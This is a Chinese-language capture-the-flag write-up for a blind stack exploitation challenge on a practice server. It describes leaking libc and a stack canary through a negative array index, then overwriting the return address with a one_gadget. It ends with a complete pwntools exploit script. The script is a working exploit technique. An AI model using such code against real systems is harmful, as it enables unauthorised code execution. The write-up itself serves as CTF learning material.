盲打题。就是直接登端口看菜单。
菜单有3项: add,show,delete
先试菜单,看看都有啥:
- 1,add让输入一个数字
- 2,show让输入编号,显示存的那个数字
- 3,delete没有输入,会把当前的删掉,这里应该是个指针
- 输入其它会提示66是隐藏菜单
- 66,输出一个地址
- show时输入比当前号大的不行,但是可输入负数,显然这里有数组向上溢出
从菜单上看应该是一个数组,并且判断了上边界,没判断下边界。但是它是在堆上还是栈上还是bss上还不清楚。先看下越界出来的东西
cmd66,id: 0x7f3a5579c690
-1 0x2
-2 0x55af2620
-3 0x0
-4 0x0
-5 0x0
-6 0x400b4a
-7 0x7ffd
-8 0x61b18ca0
-9 0xa4b53f96
-10 0x28d04300
-11 0x0
-12 0xa32312d
-13 0xfffffff3
-14 0x0
-15 0x7ffd
-16 0x61b18da0
-17 0x7ffd
-18 0x61b18c30
-19 0x7ffd
-20 0x61b18ca0
-21 0x0
-22 0x4009d2
-23 0x0
-24 0x400730
-25 0x7f3a
-26 0x55763e90
-27 0x0
-28 0x0
一共可以越到-44.。显然两个是一个64位数,而且PIE未开。运行两次后发现66给出的和-26的尾3位是不变的。基本可以确定这两个是libc地址。同时指针不会在堆上。如果在bss上,bss前边应该是got但不管是啥也都不会出现非栈,非堆,非libc的东西,got表应该只有两种libc或者400xxx。看上去这么乱基本可以确定是在栈里。
66给出的libc地址,很熟悉就是puts,通过690查到偏移就能得到libc地址。
栈向前应该是用过的垃圾数据。向后应该是ret,只有向后输入数据用one_gadget覆盖ret就可以了。
先输入40组one发现报错
*** stack smashing detected ***: ./pwn/pwn terminated\n
这说明它启用了canary,one覆盖到了canary上了 。 再看前边泄露的数据,尾号为00的就1个,它就是canary,在-5,-6位置。
然后就是确定栈深度,刚测的40就报错,然后将写入分两部分前边全写canary后边全写one_gadget。 当canary达到的深度不够时会报stack smashing(ret覆盖了canary),当canary给的多了会报timeout(canary覆盖了ret),然后试深度:20,10,15,12,13,发现canary在13(前边处理里输入了1组0,0,应该偏移是14)。后边跟的应该是rbp和ret,在13后写几个one_gadget就完成了。
from pwn import *
p = remote('node4.buuoj.cn', 26012)
libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
menu = b'>\n'
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'which one ?\n', str(idx).encode())
p.recvuntil(b'note num is : ')
num = int(p.recvline()[:-1])
print(idx, hex(num))
return num
def cmd0():
p.sendlineafter(menu, b'0')
p.recvline()
num = u32(p.recv(4))
print('cmd0:', hex(num))
return num
def cmd66():
p.sendlineafter(menu, b'66')
p.recvuntil(b'id:')
num = u64(p.recv(6).ljust(8, b'\x00'))
print('cmd66,id:', hex(num))
return num
def add(num):
p.sendlineafter(menu, b'1')
p.sendlineafter(b'please enter your note number\n', str(num).encode())
def free():
p.sendlineafter(menu, b'3')
p.recvuntil(b"Delete finished,Now top is ")
num = int(p.recvline()[:-1])
print('id:',num)
#cmd0()
n = cmd66()
libc_base = n - libc_elf.sym['puts']
print('libc:', hex(libc_base))
libc_elf.address = libc_base
add(0)
add(0)
# -6,-5 ret
#
#-10, -9 canary
num1 = show(-9)
num2 = show(-10)
canary = (num1<<32) + num2
#canary
#b'*** stack smashing detected ***: ./pwn/pwn terminated\n'
for i in range(13):
add(num2)
add(num1)
context.log_level = 'debug'
one_gadget = libc_base + one[0]
for i in range(3):
add(one_gadget& 0xffffffff)
add(one_gadget>>32)
p.sendlineafter(menu, b'4')
p.interactive()